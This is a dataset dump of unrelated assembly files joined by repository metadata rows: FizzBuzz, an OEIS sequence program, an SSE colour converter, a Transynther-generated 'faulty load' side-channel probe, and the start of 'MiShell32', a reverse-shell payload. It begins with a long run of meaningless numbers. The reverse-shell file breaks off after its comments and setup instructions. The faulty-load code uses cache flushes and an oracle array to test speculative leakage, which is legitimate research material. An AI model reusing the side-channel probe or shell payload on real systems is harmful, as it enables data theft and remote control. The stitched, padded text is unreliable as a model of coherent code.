32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 39.391892 | 2,999 | 0.654889 |
a72d3979661737291a4c1dd6f1071be7b4e6e04b | 1,650 | asm | Assembly | Assembly/fizzbuzz.asm | veotani/Hacktoberfest-2020-FizzBuzz | 2881cdb8ff2c86a4ace56e6302c57881e0ac891c | [
"Unlicense"
] | 80 | 2020-10-01T00:32:34.000Z | 2021-01-08T21:56:09.000Z | Assembly/fizzbuzz.asm | veotani/Hacktoberfest-2020-FizzBuzz | 2881cdb8ff2c86a4ace56e6302c57881e0ac891c | [
"Unlicense"
] | 672 | 2020-09-30T22:53:47.000Z | 2020-11-01T12:39:59.000Z | Assembly/fizzbuzz.asm | veotani/Hacktoberfest-2020-FizzBuzz | 2881cdb8ff2c86a4ace56e6302c57881e0ac891c | [
"Unlicense"
] | 618 | 2020-09-30T22:21:12.000Z | 2020-10-31T21:28:06.000Z | ; NASM (x86)
section .text
global start
start:
push dword startMessageLength
push dword startMessage
push dword 1
mov eax, 4
sub esp, 4
int 0x80
mov [counter], byte 1
next_number:
mov al, [counter]
xor ah, ah
mov bl, 3
div bl
cmp ah, 0
jne not_fizz
mov al, [counter]
xor ah, ah
mov bl, 5
div bl
cmp ah, 0
jne not_fizzbuzz
push dword 9
push dword fizzBuzzMessage
push dword 1
mov eax, 4
sub esp, 4
int 0x80
jmp finished_this_number
not_fizzbuzz:
push dword 5
push dword fizzMessage
push dword 1
mov eax, 4
sub esp, 4
int 0x80
jmp finished_this_number
not_fizz:
mov al, [counter]
xor ah, ah
mov bl, 5
div bl
cmp ah, 0
jne not_fizz_or_buzz
push dword 5
push dword buzzMessage
push dword 1
mov eax, 4
sub esp, 4
int 0x80
jmp finished_this_number
not_fizz_or_buzz:
mov al, [counter]
xor ah, ah
mov bl, 10
div bl
cmp al, 0
je skip_padding
add al, 48
mov [counterMessage], al
skip_padding:
add ah, 48
mov [counterMessage+1], ah
push dword 3
push dword counterMessage
push dword 1
mov eax, 4
sub esp, 4
int 0x80
finished_this_number:
add [counter], byte 1
cmp [counter], byte 100
jle next_number
push dword endMessageLength
push dword endMessage
push dword 1
mov eax, 4
sub esp, 4
int 0x80
quit:
mov eax, 1
sub esp, 4
int 0x80
section .data
counter db 0
counterMessage db ' ', 0xa
startMessage db 'FizzBuzz test', 0xa
startMessageLength equ $ - startMessage
fizzMessage db 'Fizz', 0xa
buzzMessage db 'Buzz', 0xa
fizzBuzzMessage db 'FizzBuzz', 0xa
endMessage db 'Done!', 0xa
endMessageLength equ $ - endMessage
| 17.1875 | 39 | 0.695758 |
4321584260b155e568fc84014390ca69612b7b69 | 680 | asm | Assembly | oeis/006/A006101.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/006/A006101.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/006/A006101.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A006101: Gaussian binomial coefficient [ n,3 ] for q=3.
; Submitted by Jon Maiga
; 1,40,1210,33880,925771,25095280,678468820,18326727760,494894285941,13362799477720,360801469802830,9741692640081640,263026177881648511,7101711092201899360,191746238094034963240,5177148775980218655520,139783020078437440101481,3774141570260554904072200,101901822650319679183070050,2751349213838193610644369400,74286428794147287946941452851,2005733577626621318719001068240,54154806597580576502824337003260,1462179778149631773653100087303280,39478854010174663761325712895430621
lpb $0
mov $2,$0
sub $0,1
seq $2,227524 ; Expansion of 1/((1-3x)(1-9x)(1-27x)).
add $3,$2
lpe
mov $0,$3
add $0,1
| 52.307692 | 474 | 0.841176 |
4036daca1a1423fe3968430f7edcb3e3d75db1bb | 7,959 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_405.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_405.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_405.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x19935, %rax
clflush (%rax)
nop
nop
nop
sub %r15, %r15
vmovups (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r14
nop
nop
nop
dec %rbx
lea addresses_D_ht+0x104a5, %r8
nop
nop
nop
and $3288, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%r8)
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_UC_ht+0xbe49, %rax
nop
nop
xor $23938, %r12
and $0xffffffffffffffc0, %rax
movaps (%rax), %xmm5
vpextrq $0, %xmm5, %rbx
nop
nop
nop
nop
sub %r14, %r14
lea addresses_normal_ht+0x17821, %rsi
lea addresses_WC_ht+0x1b6b5, %rdi
clflush (%rdi)
nop
nop
nop
xor %r15, %r15
mov $77, %rcx
rep movsw
nop
nop
cmp $45919, %rdi
lea addresses_normal_ht+0x18cb5, %rsi
lea addresses_A_ht+0x111a5, %rdi
nop
nop
and %r8, %r8
mov $101, %rcx
rep movsq
nop
nop
nop
sub %r15, %r15
lea addresses_WT_ht+0x10735, %r14
clflush (%r14)
nop
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %r15
movq %r15, %xmm4
movups %xmm4, (%r14)
nop
nop
nop
nop
nop
add $44781, %rsi
lea addresses_WT_ht+0xfe9d, %rcx
nop
and %r15, %r15
movw $0x6162, (%rcx)
nop
nop
nop
add %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rax
push %rdi
push %rdx
push %rsi
// Store
mov $0x149, %rax
nop
sub $52562, %r8
movw $0x5152, (%rax)
nop
nop
nop
xor $63148, %rax
// Store
lea addresses_A+0xb3c5, %r10
nop
nop
nop
nop
nop
dec %rsi
movb $0x51, (%r10)
sub $21240, %rax
// Store
mov $0x2f2e580000000301, %rdx
clflush (%rdx)
nop
nop
nop
nop
xor %rax, %rax
mov $0x5152535455565758, %r14
movq %r14, %xmm4
movups %xmm4, (%rdx)
nop
nop
xor %rdi, %rdi
// Store
lea addresses_US+0x13092, %r10
nop
nop
nop
nop
cmp %rdi, %rdi
movl $0x51525354, (%r10)
nop
nop
nop
nop
and $54199, %rax
// Load
lea addresses_US+0x1a2b5, %rsi
nop
nop
nop
nop
add $35258, %rax
movb (%rsi), %r8b
add %rsi, %rsi
// Store
lea addresses_UC+0x14b5, %rsi
sub $40046, %r14
mov $0x5152535455565758, %rdi
movq %rdi, %xmm6
movups %xmm6, (%rsi)
nop
nop
nop
nop
nop
cmp %rdx, %rdx
// Store
lea addresses_PSE+0xaab5, %rdx
nop
nop
nop
xor %r14, %r14
mov $0x5152535455565758, %rax
movq %rax, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
and %rsi, %rsi
// Store
mov $0xd21, %r8
nop
nop
nop
xor %rax, %rax
movl $0x51525354, (%r8)
nop
nop
xor %rdi, %rdi
// Faulty Load
lea addresses_PSE+0xaab5, %r14
and $44769, %r8
vmovaps (%r14), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdx
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_NC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_PSE'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_P'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 2, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 30.611538 | 2,999 | 0.653223 |
2a49a725df884970fb2a37d93de0f1925f0d3365 | 1,194 | asm | Assembly | src/os/boot/print_extended16.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | src/os/boot/print_extended16.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | src/os/boot/print_extended16.asm | PatrickDropbox/abc | 2d27e5a7cb200de7645e4325d8d1f49335c1adba | [
"BSD-3-Clause"
] | null | null | null | print_reg:
; pushfd/pushad instead pushf/pusha since we want the full 32 bit registers
pushfd
pushad
push esi
push edx
mov edx, eax
call print_hex32
mov si, _space
call print_str
mov edx, ebx
call print_hex32
mov si, _space
call print_str
mov edx, ecx
call print_hex32
mov si, _space
call print_str
pop edx ; print edx
call print_hex32
mov si, _space
call print_str
pop edx ; print si
call print_hex32
mov si, _space
call print_str
mov edx, edi
call print_hex32
mov si, _crlf
call print_str
popad
popfd
ret
; print si's content via BIOS (assuming little endian), cx specifies number of
; bytes to print
print_hex_number:
pushf
pusha
push si
mov si, _0x
call print_str
pop si
mov ax, 0
add si, cx
sub si, 1
.iter:
cmp ax, cx
jge .done
mov dl, [si]
call print_hex_char
sub si, 1
add ax, 1
jmp .iter
.done:
popa
popf
ret
; print si's content via BIOS, cx specifies number of bytes to print
print_hex_bytes:
pushf
pusha
mov ax, 0
.iter:
cmp ax, cx
jge .done
mov dl, [si]
call print_hex_char
add si, 1
add ax, 1
jmp .iter
.done:
popa
popf
ret
| 11.821782 | 78 | 0.664154 |
00441b8f5d4739657de4b3fedff77b84f05522cb | 6,734 | nasm | Assembly | src/add-ons/media/plugins/ffmpeg/yuvrgb_sse.nasm | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 1,338 | 2015-01-03T20:06:56.000Z | 2022-03-26T13:49:54.000Z | src/add-ons/media/plugins/ffmpeg/yuvrgb_sse.nasm | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 15 | 2015-01-17T22:19:32.000Z | 2021-12-20T12:35:00.000Z | src/add-ons/media/plugins/ffmpeg/yuvrgb_sse.nasm | Kirishikesan/haiku | 835565c55830f2dab01e6e332cc7e2d9c015b51e | [
"MIT"
] | 350 | 2015-01-08T14:15:27.000Z | 2022-03-21T18:14:35.000Z | ;
; Copyright (C) 2009-2010 David McPaul
;
; All rights reserved. Distributed under the terms of the MIT License.
;
; A rather unoptimised set of sse yuv to rgb converters
; does 4 pixels per loop
; inputer:
; reads 128 bits of yuv 8 bit data and puts
; the y values converted to 16 bit in mm0
; the u values converted to 16 bit and duplicated into mm1
; the v values converted to 16 bit and duplicated into mm2
; conversion:
; does the yuv to rgb conversion using 16 bit fixed point and the
; results are placed into the following registers as 8 bit clamped values
; r values in mm3
; g values in mm4
; b values in mm5
; outputer:
; writes out the rgba pixels as 8 bit values with 0 for alpha
; mm6 used for scratch
; mm7 used for scratch
%macro cglobal 1
global _%1
%define %1 _%1
align 16
%1:
%endmacro
; conversion code
%macro yuv2rgbsse 0
; u = u - 128
; v = v - 128
; r = y + v + v >> 2 + v >> 3 + v >> 5
; g = y - (u >> 2 + u >> 4 + u >> 5) - (v >> 1 + v >> 3 + v >> 4 + v >> 5)
; b = y + u + u >> 1 + u >> 2 + u >> 6
; subtract 16 from y
movq mm7, [Const16] ; loads a constant using data cache (slower on first fetch but then cached)
; psubsw mm0,mm7 ; y = y - 16
; subtract 128 from u and v
movq mm7, [Const128] ; loads a constant using data cache (slower on first fetch but then cached)
psubsw mm1,mm7 ; u = u - 128
psubsw mm2,mm7 ; v = v - 128
; load r,g,b with y
movq mm3,mm0 ; r = y
pshufw mm5,mm0, 0xE4 ; b = y
; r = r + v + v >> 2 + v >> 3 + v >> 5
paddsw mm3, mm2 ; add v to r
movq mm7, mm1 ; move u to scratch
pshufw mm6, mm2, 0xE4 ; move v to scratch
psraw mm6,2 ; divide v by 4
paddsw mm3, mm6 ; and add to r
psraw mm6,1 ; divide v by 2
paddsw mm3, mm6 ; and add to r
psraw mm6,2 ; divide v by 4
paddsw mm3, mm6 ; and add to r
; b = y + u + u >> 1 + u >> 2 + u >> 6
paddsw mm5, mm1 ; add u to b
psraw mm7,1 ; divide u by 2
paddsw mm5, mm7 ; and add to b
psraw mm7,1 ; divide u by 2
paddsw mm5, mm7 ; and add to b
psraw mm7,4 ; divide u by 32
paddsw mm5, mm7 ; and add to b
; g = y - u >> 2 - u >> 4 - u >> 5 - v >> 1 - v >> 3 - v >> 4 - v >> 5
movq mm7,mm2 ; move v to scratch
pshufw mm6,mm1, 0xE4 ; move u to scratch
movq mm4,mm0 ; g = y
psraw mm6,2 ; divide u by 4
psubsw mm4,mm6 ; subtract from g
psraw mm6,2 ; divide u by 4
psubsw mm4,mm6 ; subtract from g
psraw mm6,1 ; divide u by 2
psubsw mm4,mm6 ; subtract from g
psraw mm7,1 ; divide v by 2
psubsw mm4,mm7 ; subtract from g
psraw mm7,2 ; divide v by 4
psubsw mm4,mm7 ; subtract from g
psraw mm7,1 ; divide v by 2
psubsw mm4,mm7 ; subtract from g
psraw mm7,1 ; divide v by 2
psubsw mm4,mm7 ; subtract from g
%endmacro
; outputer
%macro rgba32sseoutput 0
; clamp values
pxor mm7,mm7
packuswb mm3,mm7 ; clamp to 0,255 and pack R to 8 bit per pixel
packuswb mm4,mm7 ; clamp to 0,255 and pack G to 8 bit per pixel
packuswb mm5,mm7 ; clamp to 0,255 and pack B to 8 bit per pixel
; convert to bgra32 packed
punpcklbw mm5,mm4 ; bgbgbgbgbgbgbgbg
movq mm0, mm5 ; save bg values
punpcklbw mm3,mm7 ; r0r0r0r0
punpcklwd mm5,mm3 ; lower half bgr0bgr0
punpckhwd mm0,mm3 ; upper half bgr0bgr0
; write to output ptr
movq [edi], mm5 ; output first 2 pixels
movq [edi+8], mm0 ; output second 2 pixels
%endmacro
SECTION .data align=16
Const16 dw 16
dw 16
dw 16
dw 16
dw 16
dw 16
dw 16
dw 16
Const128 dw 128
dw 128
dw 128
dw 128
dw 128
dw 128
dw 128
dw 128
; Packed Convert
; void Convert_YUV422_RGBA32_SSE(void *fromPtr, void *toPtr, int width)
%define width ebp+16
%define toPtr ebp+12
%define fromPtr ebp+8
; Planar Convert
; void Convert_YUV420P_RGBA32_SSE(void *fromYPtr, void *fromUPtr, void *fromVPtr, void *toPtr, int width)
%define width1 ebp+24
%define toPtr1 ebp+20
%define fromVPtr ebp+16
%define fromUPtr ebp+12
%define fromYPtr ebp+8
SECTION .text align=16
; YUY2 FOURCC
cglobal Convert_YUV422_RGBA32_SSE
; reserve variables
push ebp
mov ebp, esp
push edi
push esi
push ecx
mov esi, [fromPtr]
mov ecx, [width]
mov edi, [toPtr]
; loop width / 4 times
shr ecx,2
test ecx,ecx
jng ENDLOOP2
REPEATLOOP2: ; loop over width / 4
; YUV422 packed inputer
movq mm0, [esi] ; should have yuyv yuyv
pshufw mm1, mm0, 0xE4 ; copy to mm1
movq mm2, mm0 ; copy to mm2
; extract y
pxor mm7,mm7 ; 0000000000000000
pcmpeqb mm6,mm6 ; ffffffffffffffff
punpckhbw mm6,mm7 ; interleave mm7 into mm6 ff00ff00ff00ff00
pand mm0, mm6 ; clear all but y values leaving y0y0 etc
; extract u and duplicate so each u in yuyv becomes 0u0u
psrld mm6,8 ; 00ff0000 00ff0000
pand mm1, mm6 ; clear all yv values leaving 0u00 etc
psrld mm1,8 ; rotate u to get u000
pshufw mm1,mm1, 0xA0 ; copy u values to get u0u0 (SSE not MMX)
; extract v
pslld mm6,16 ; 000000ff000000ff
pand mm2, mm6 ; clear all yu values leaving 000v etc
psrld mm2,8 ; rotate v to get 00v0
pshufw mm2,mm2, 0xF5 ; copy v values to get v0v0 (SSE not MMX)
yuv2rgbsse
rgba32sseoutput
; endloop
add edi,16
add esi,8
sub ecx, 1 ; apparently sub is better than dec
jnz REPEATLOOP2
ENDLOOP2:
; Cleanup
emms ; reset mmx regs back to float
pop ecx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
cglobal Convert_YUV420P_RGBA32_SSE
; reserve variables
push ebp
mov ebp, esp
push edi
push esi
push ecx
push eax
push ebx
mov esi, [fromYPtr]
mov eax, [fromUPtr]
mov ebx, [fromVPtr]
mov edi, [toPtr1]
mov ecx, [width1]
; loop width / 4 times
shr ecx,2
test ecx,ecx
jng ENDLOOP3
REPEATLOOP3: ; loop over width / 4
; YUV420 Planar inputer
movq mm0, [esi] ; fetch 4 y values (8 bit) yyyy0000
movd mm1, [eax] ; fetch 2 u values (8 bit) uu000000
movd mm2, [ebx] ; fetch 2 v values (8 bit) vv000000
; extract y
pxor mm7,mm7 ; 0000000000000000
punpcklbw mm0,mm7 ; interleave xmm7 into xmm0 y0y0y0y
; extract u and duplicate so each becomes 0u0u
punpcklbw mm1,mm7 ; interleave xmm7 into xmm1 u0u00000
punpcklwd mm1,mm7 ; interleave again u000u000
pshufw mm1,mm1, 0xA0 ; copy u values to get u0u0
; extract v
punpcklbw mm2,mm7 ; interleave xmm7 into xmm1 v0v00000
punpcklwd mm2,mm7 ; interleave again v000v000
pshufw mm2,mm2, 0xA0 ; copy v values to get v0v0
yuv2rgbsse
rgba32sseoutput
; endloop
add edi,16
add esi,4
add eax,2
add ebx,2
sub ecx, 1 ; apparently sub is better than dec
jnz REPEATLOOP3
ENDLOOP3:
; Cleanup
emms
pop ebx
pop eax
pop ecx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
SECTION .note.GNU-stack noalloc noexec nowrite progbits
| 25.033457 | 105 | 0.660083 |
dd77d639876eadf12ab9e9fad2dede270109e10a | 4,556 | asm | Assembly | src/payload/payload.asm | TheOddZer0/MiShell32 | 3ea9187ba73cf1efe5396df48aae95a34be370bb | [
"Apache-2.0"
] | 5 | 2021-07-01T19:18:11.000Z | 2022-02-23T00:36:08.000Z | src/payload/payload.asm | TheOddZer0/MiShell32 | 3ea9187ba73cf1efe5396df48aae95a34be370bb | [
"Apache-2.0"
] | 1 | 2021-09-26T16:23:57.000Z | 2021-09-28T15:04:50.000Z | src/payload/payload.asm | TheOddZer0/MiShell32 | 3ea9187ba73cf1efe5396df48aae95a34be370bb | [
"Apache-2.0"
] | null | null | null | ; Reverse shell in assembly (x86) compile with NASM (90 Bytes)
; nasm -f elf32 src/payload/payload.asm -o payload.o && ld -m elf_i386 payload.o -o payload
; If you run above the payload will be in payload
; Generally. Use make if you are testing, if not use scripts/generator.py
; which doesn't require anything other then python3, Use scripts/python2generator.py
; to generate a generator.py from bin/payload.out
global _start
section .text
_start:
mov ebp, esp ; Set the frame pointer, We need our own stack
; First we need the sockadrr_in structure
; At the end of this "block", The structure will be on stack
